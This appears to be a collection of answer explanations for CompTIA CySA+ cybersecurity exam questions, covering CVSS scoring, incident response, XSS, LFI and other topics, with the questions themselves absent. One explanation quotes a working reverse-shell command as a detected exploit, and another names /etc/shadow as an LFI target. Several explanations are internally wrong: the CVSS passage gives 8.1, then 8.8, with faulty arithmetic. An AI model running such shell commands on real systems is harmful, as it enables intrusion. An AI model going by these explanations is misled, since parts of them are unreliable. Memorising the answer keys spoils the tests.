The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS temporal score. The value of U means that no exploit code is available or unknown1. The other options are not related to the exploit code maturity, but to other aspects of the vulnerability, such as attack vector, scope, availability, and complexity1.

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving orsending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. References: Mobile device forensics, Section: Acquisition

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security12. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

Developing an organization's communication plans is crucial to ensure that incidents, especially those involving sensitive data like PH (Protected Health) data, are promptly reported to the relevant regulatory agencies. This is essential for compliance with legal and regulatory requirements, which often mandate timely notification of data breaches. Effective communication plans help the organization manage the breach response process, mitigate potential legal penalties, and maintain transparency with regulatory bodies.

The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation. 

A Memorandum of Understanding (MOU) is a formal agreement that outlines the roles and responsibilities of each party involved in a particular process or project, especially within security frameworks. In the context of cybersecurity, an MOU is commonly used to clarify and document the security responsibilities of different departments or entities involved. It helps ensure everyone understands their specific duties and contributions to security, which is crucial for coordination and risk management. According to CompTIA Security+ guidelines, while options A, C, and D describe other forms of agreements, they do not capture the essential purpose of an MOU as accurately as option B does.

A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather than exploiting technical vulnerabilities. A social engineering attack may involve deceiving, persuading, or coercing users into performing actions that benefit the attacker, such as clicking on malicious links, divulging sensitive information, or granting access to restricted resources. An obfuscated link is a link that has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by attackers to trick users into visiting malicious websites or downloading malware. In this case, an incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. This indicates that the analyst is witnessing a social engineering attack using obfuscated links.

Hacktivists are threat actors who use cyberattacks to promote a social or political cause, such as environmentalism, human rights, or democracy. They may target companies that they perceive as violating their values or harming the public interest. Hacktivists often use techniques such as defacing websites, launching denial-of-service attacks, or leaking sensitive data to expose or embarrass their targets12. References: An introduction to the cyber threat environment, page 3; What is a Threat Actor? Types & Examples of Cyber Threat Actors, section 2.

Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive briefs, as it measures how long it takes to stop the spread of malware that enters the network. Mean time to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware, from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness and efficiency of the incident response process, as well as the potential impact and damage of the incident or threat. A lower mean time to contain indicates a faster and more successful response, which can reduce the risk and cost of the incident or threat. Mean time to contain can also be compared with other metrics, such as mean time to detect or mean time to remediate, to identify gaps or areas for improvement in the incident response process. 

Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms1. EDR data can capture the behavior and network activity of the malware, such as the initial infection vector, the command and control communication, or the lateral movement2. These data sources can help the analyst identify the malware family, the attack technique, and the threat actor behind the outbreak.

The MTTR (Mean Time to Resolution) decreases by 20% is the best possible outcome that this effort hopes to achieve, as it reflects the improvement in the efficiency and effectiveness of the incident response process by reducing analyst alert fatigue. Analyst alert fatigue is a term that refers to the phenomenon of security analysts becoming overwhelmed, desensitized, or exhausted by the large number of alerts they receive from various security tools or systems, such as DLP (Data Loss Prevention) or CASB (Cloud Access Security Broker). DLP is a security solution that helps to prevent unauthorized access, use, or transfer of sensitive data, such as personal information, intellectual property, or financial records. CASB is a security solution that helps to monitor and control the use of cloud-based applications and services, such as SaaS (Software as a Service), PaaS (Platform as a Service), or IaaS (Infrastructure as a Service). Both DLP and CASB can generate alerts when they detect potential data breaches, policy violations, or malicious activities, but they can also produce false positives, irrelevant information, or duplicate notifications that can overwhelm or distract the security analysts. Analyst alert fatigue can have negative consequences for the security posture and performance of an organization, such as missing or ignoring critical alerts, delaying or skipping investigations or remediations, making errors or mistakes, or losing motivation or morale. Therefore, it is important to reduce analyst alert fatigue and optimize the alert management process by using various strategies, such as tuning the alert thresholds and rules, prioritizing and triaging the alerts based on severity and context, enriching and correlating the alerts with additional data sources, automating or orchestrating repetitive or low-level tasks or actions, or integrating and consolidating different security tools or systems into a unified platform. By reducing analyst alert fatigue and optimizing the alert management process, the effort hopes to achieve a decrease in the MTTR, which is a metric that measures the average time it takes to resolve an incident from the moment it is reported to the moment it is closed. Alower MTTR indicates a faster and more effective incident response process, which can help to minimize the impact and damage of security incidents, improve customer satisfaction and trust, and enhance security operations and outcomes. The other options are not as relevant or realistic as the MTTR decreases by 20%, as they do not reflect the best possible outcome that this effort hopes to achieve. SIEM ingestion logs are reduced by 20% is not a relevant outcome, as it does not indicate any improvement in the incident response process or any reduction in analyst alert fatigue. SIEM (Security Information and Event Management) is a security solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM ingestion logs are records of the data that is ingested by the SIEM system from different sources. Reducing SIEM ingestion logs may imply less data volume or less data sources for the SIEM system, which may not necessarily improve its performance or accuracy. Phishing alerts drop by 20% is not a realistic outcome, as it does not depend on the integration of DLP and CASB or any reduction in analyst alert fatigue. Phishing alerts are notifications that indicate potential phishing attempts or attacks, such as fraudulent emails, websites, or messages that try to trick users into revealing sensitive information or installing malware. Phishing alerts can be generated by various security tools or systems, such as email security solutions, web security solutions, endpoint security solutions, or user awareness training programs. Reducing phishing alerts may imply less phishing attempts or attacks on the organization, which may not necessarily be influenced by the integration of DLP and CASB or any reduction in analyst alert fatigue. False positive rates drop to 20% is not a realistic outcome

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

The discovery of unapproved accounts accessing shared data, along with data discrepancies, strongly indicates unauthorized changes.

Indicators of Unauthorized Changes:

Unexpected user permissions found during audits​.

Modified or deleted data without proper documentation.

Altered system or security configurations, allowing unintended access.

Why Not Other Options?

A. Filesystem Anomaly: This refers to unexpected behavior in the file structure, such as corrupt metadata or missing files, rather than unauthorized user access.

B. Illegal Software: Would involve unlicensed or unauthorized applications, not unauthorized file modifications.

D. Data Exfiltration: If data was removed, it might be exfiltration, but in this case, data modifications were detected instead.

To prevent unauthorized changes, security teams should use:

File Integrity Monitoring (FIM) to detect unauthorized modifications.

Access control audits to verify correct user permissions.

SIEM tools to analyze logs for anomalies.

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target’s network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

The CEO should initiate an alert to department managers to speak privately with affected staff. This is because the trade secret is confidential and should not be disclosed to the public. Additionally, the CEOshould verify legal notification requirements of PII and SPII in the legal and human resource departments to ensure compliance with data protection laws.

The first step for the security team when receiving a legal hold request is to notify the relevant departments to preserve all potentially relevant information. This ensures that no data is altered, deleted, or otherwise tampered with, which is critical for maintaining the integrity of the evidence. Preserving information includes emails, documents, and any other data that might be relevant to the legal matter. Establishing a chain of custody and backing up data are also important steps, but notifying the involved parties is the immediate priority to prevent data loss.

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is mitigation. Here’s an explanation of each option:

A. Avoid

Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.

B. Transfer

Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.

C. Accept

Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.

D. Mitigate

Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based protections, enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user’s browser. In this case, the Nmap scan shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding. The vulnerable parameter is id in the URL http://172.31.15.2/1.php?id=2. 

The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification.

Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.

It is the last resort when:

The risk is low impact or unlikely to occur.

Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

A (Transfer) → Moving risk to a third party (e.g., insurance).

C (Mitigation) → Implementing security controls to reduce risk.

D (Avoidance) → Eliminating the risk entirely (e.g., discontinuing a service).

EDR stands for Endpoint Detection and Response, which is a tool that collects and aggregates data from various endpoints, such as laptops, servers, or mobile devices. EDR helps analysts monitor, detect, and respond to threats and incidents on the endpoints. EDR is more suitable than DLP (Data Loss Prevention), NAC (Network Access Control), or NIDS (Network Intrusion Detection System) for data collection and aggregation from endpoints.

The threat was detected from the time the emails were sent at 8:30 a.m. to when the recipients started alerting the organization’s help desk about the email at 8:45 a.m., taking a total of 15 minutes. The detection time is the time elapsed between the occurrence of an incident and its discovery by the security team . The other options are either too short or too long based on the given information. References: : Detection Time : Incident Response Metrics: Mean Time to Detect and Mean Time to Respond

The command in question involves an encoded PowerShell command, which is typically used by attackers to obfuscate malicious scripts. To decode and understand the payload, one would need to decode the base64 encoded string. This is why option A is the correct answer, as 'base64 -d' is a command used to decode data encoded with base64. This process will reveal the plaintext of the encoded command, which can then be analyzed to understand the actions that the attacker was attempting to perform. Option B is risky and not advised without a controlled and isolated environment. Option C is not safe because executing unknown or suspicious code with administrator privileges could cause harm to the system or network. Option D also poses a risk of executing potentially harmful code on an analyst’s workstation.

Answer below images

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

SPF (Sender Policy Framework) is a DNS TXT record that lists authorized sending IP addresses for a given domain. If an email hosting provider added a new data center with new public IP addresses, theSPF record needs to be updated to include those new IP addresses, otherwise the emails from the new data center may fail SPF checks and get blocked by spam filters123 References: 1: Use DMARC to validate email, setup steps 2: How to set up SPF, DKIM and DMARC: other mail & hosting providers providers 3: Set up SPF, DKIM, or DMARC records for my hosting email

Communicating with staff about the official public communication plan is important to avoid unauthorized or inaccurate disclosure of information that could harm the organization’s reputation, security, or legal obligations. It also helps to ensure consistency and clarity of the messages delivered to the public and other stakeholders.

https://resources.sei.cmu.edu/asset_files/Handbook/2021_002_001_651819.pdf

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization’s environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA’s CySA+ guidelines, relevance verification helps in prioritizing resources and response actionseffectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

Risk scoringis the best method for prioritizing patching, as it considers factors likeCVSS severity, exploitability, asset criticality, and business impact​.

Option A (Affected hosts)is relevant but does notdetermine prioritywithout a risk assessment.

Option C (Mitigation strategy)is useful but focuses on alternative protections rather than prioritization.

Option D (Annual recurrence)is not a standard method for vulnerability prioritization.

Thus,B is the correct answer, asrisk scores allow organizations to prioritize patching efforts effectively​.

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company’s systems, networks, or resources, as well as the consequences of violating the company’s security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

When prioritizing vulnerabilities, analysts consider theCVSS score, whether the system isinternet-facing, and ifsensitive datais involved. The primary goal is to mitigate the mostexploitableandimpactfulrisks first.

Let's break down the key components:

Attack Vector (AV): Whether the attack can be launched remotely (N = Network) or locally (L = Local).

Attack Complexity (AC): The difficulty of executing the attack (L = Low, H = High).

Privileges Required (PR): The level of access needed for exploitation (N = None, L = Low, H = High).

User Interaction (UI): Whether user interaction is required for the attack (N = No, R = Required).

Scope (S): Whether the attack affects other systems (C = Changed, U = Unchanged).

Confidentiality (C), Integrity (I), Availability (A): The impact level (H = High, L = Low, N = None).

Evaluating Each System:

System 1 (CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Internet-facing✅

No sensitive data❌

High confidentiality and availability impact✅

Moderate risk due to requiring low privileges

System 2 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Not internet-facing❌

No sensitive data❌

Lower priority since it’s local-only

System 3 (CVSS: AV:P/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L)

Internet-facing✅

Contains sensitive data✅

But very low likelihood of exploit (requires physical access, high privileges, user interaction)

Lower priority due to high attack complexity

System 4 (CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H)

Internet-facing✅

No sensitive data❌

No privileges required for exploitation✅

High impact on confidentiality and availability✅

Most critical due to remote exploitability and system-wide scope

System 5 (CVSS: AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N)

Internet-facing✅

Contains sensitive data✅

But requires high privileges, high attack complexity, and user interaction

Lower priority than System 4

System 6 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Not internet-facing❌

No sensitive data❌

Same as System 2 (low priority due to being local-only)

Final Decision: Patch System 4 First

System 4 is themost criticalbecause:

It isinternet-facing(higher exposure).

It has ahigh CVSS score.

Itrequires no privileges(easy to exploit).

It hassystem-wide scope impact(can affect other systems).

Thus, it should bepatched firstto minimize security risks.

Server-Side Request Forgery (SSRF) occurs when an attacker manipulates a web server to make unauthorized internal or external requests, often to access internal resources or exfiltrate data.

A Web Application Firewall (WAF) is the best mitigation because it:

Filters and blocks malicious requests before they reach the server.

Prevents attackers from sending unauthorized requests to internal services.

Can detect and block SSRF patterns in incoming traffic.

Why Not Other Options?

B (CASB) → Used for cloud access control, not effective against SSRF.

C (Forward Proxy) → Helps with outbound traffic control, but SSRF involves incoming requests.

D (MFA) → Helps with authentication but does NOT prevent SSRF attacks.

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment12. Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it3. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation…

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known exploit, a patch, or a workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:

Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.

Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.

Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level access.

User Interaction (UI): None (N). This means that the attack does not require any user action or involvement to succeed.

Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an application or an operating system.

Confidentiality Impact ©: High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the system.

Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the system.

Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula:

Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))]

Exploitability = 8.22 x Attack Vector x Attack Complexity x Privileges Required x User Interaction

Using this formula, we get:

Impact = 6.42 x [1 - ((1 - 0.56) x (1 - 0.56) x (1 - 0.56))] = 5.9

Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other option.

The other attack vectors have lower Base scores, as they have different values for some of the Base metrics:

CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical access to the target system.

CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on the same physical or logical network as the target system.

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to the target system, such as through a terminal or a command shell.

An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents

1. How many employees clicked on the link in the phishing email?

According to the email server logs, 25 employees clicked on the link in the phishing email.

2. On how many workstations was the malware installed?

According to the file server logs, the malware was installed on 15 workstations.

3. What is the executable file name of the malware?

The executable file name of the malware is svchost.EXE.

Answers

1. 25

2. 15

3. svchost.EXE

The lessons learned process is the final stage of the incident management life cycle, where the incident team reviews the incident and evaluates the effectiveness of the response and the plans in place. The lessons learned report should include the who-what-when information and any recommendations for improvement123 References: 1: What is incident management? Steps, tips, and best practices 2: 5 Steps of the Incident Management Lifecycle | RSI Security 3: Navigating the Incident Response Life Cycle: A Comprehensive Guide

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: https://www.pcisecuritystandards.org/

An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that canautomate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute code from a URL.

The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim1.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the browser’s built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and scripts can be loaded or executed on the web page2.

According to the output of Arachni, a web application security scanner framework3, it detected an XSS vulnerability in the form input ‘txtSearch’ with action https://localhost/search.aspx. This means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting protections in the header of search.aspx, which allowed Arachni to bypass the browser’s default security mechanisms and execute arbitrary code on the web page.

Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or unacceptable. Avoiding a risk can eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO decided the risk score would be too high and refused the software request. This indicates that the CISO selected the avoid principle for risk management.

Input validation vulnerabilities occur when an application fails to properly validate or sanitize user input, allowing malicious data to be processed. This can lead to various attacks, most notably cross-site scripting (XSS).

Option A:DNS poisoning

Incorrect Choice:DNS poisoning involves corrupting the DNS cache to redirect users to malicious sites. It is not related to input validation vulnerabilities.

Option B:Pharming

Incorrect Choice:Pharming redirects users from legitimate websites to fraudulent ones, typically through DNS poisoning or host file manipulation. It is not directly related to input validation.

Option C:Phishing

Incorrect Choice:Phishing involves tricking individuals into providing sensitive information through deceptive emails or websites. It exploits human behavior rather than technical input validation flaws.

Option D:Cross-site scripting

Correct Choice:Cross-site scripting (XSS) attacks occur when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute malicious scripts in users' browsers, leading to data theft, session hijacking, or defacement. Remediating input validation vulnerabilities is essential to prevent XSS attacks.

The best practice that the company should follow with this proxy is to decommission the proxy. Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning the proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up space or resources for other devices or systems that are in use or needed by the company.

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user’s system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.

Implementing controls to block execution of untrusted applications can prevent privilege escalation attacks that leverage native Windows tools, such as PowerShell, WMIC, or Rundll32. These tools canbe used by attackers to run malicious code or commands with elevated privileges, bypassing system security policies and controls. By restricting the execution of untrusted applications, organizations can reduce the attack surface and limit the potential damage of privilege escalation attacks.

To improve the detection of known attacks and behavioralIndicators of Compromise (IoCs), the best approach is tointegrate with an open-source threat intelligence feed. Threat intelligence feeds provide up-to-date information on known malicious IPs, domains, file hashes, and behavioral patterns that attackers use​.

Option A (randomly generating and storing hash values)is impractical, as there are an infinite number of possible files.

Option B (alerting on any system change)would lead to excessive noise and false positives, making the system difficult to manage.

Option D (manually adding signatures)is useful but is not scalable or as timely as an external intelligence feed​.

Thus, the correct answer isC, as integrating an open-source threat intelligence feed enhances the SIEM’s ability to detect and respond to real-world threats​.

Reimaging the device is the most effective way to eliminate persistent malware because some sophisticated malware, such as rootkits and firmware-level threats, can survive traditional scans and removals.

If a system keeps getting reinfected after cleaning, it may indicate a deeply embedded persistent threat, possibly in:

The Master Boot Record (MBR) or EFI firmware.

A compromised system restore point.

A hidden backdoor left by the malware.

Why Not Other Options?

A (Update and scan in safe mode) → Might help, but if malware is persistent, it will likely return.

C (Upgrade OS) → Does not necessarily remove malware; some malware survives OS upgrades.

D (Secondary scanner) → Useful for detection but does not guarantee complete removal.

Best Practice:

Replace the hard drive to eliminate firmware-level infections.

Reimage the system from a known-good source.

Update the OS and security patches before reconnecting to the network.

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

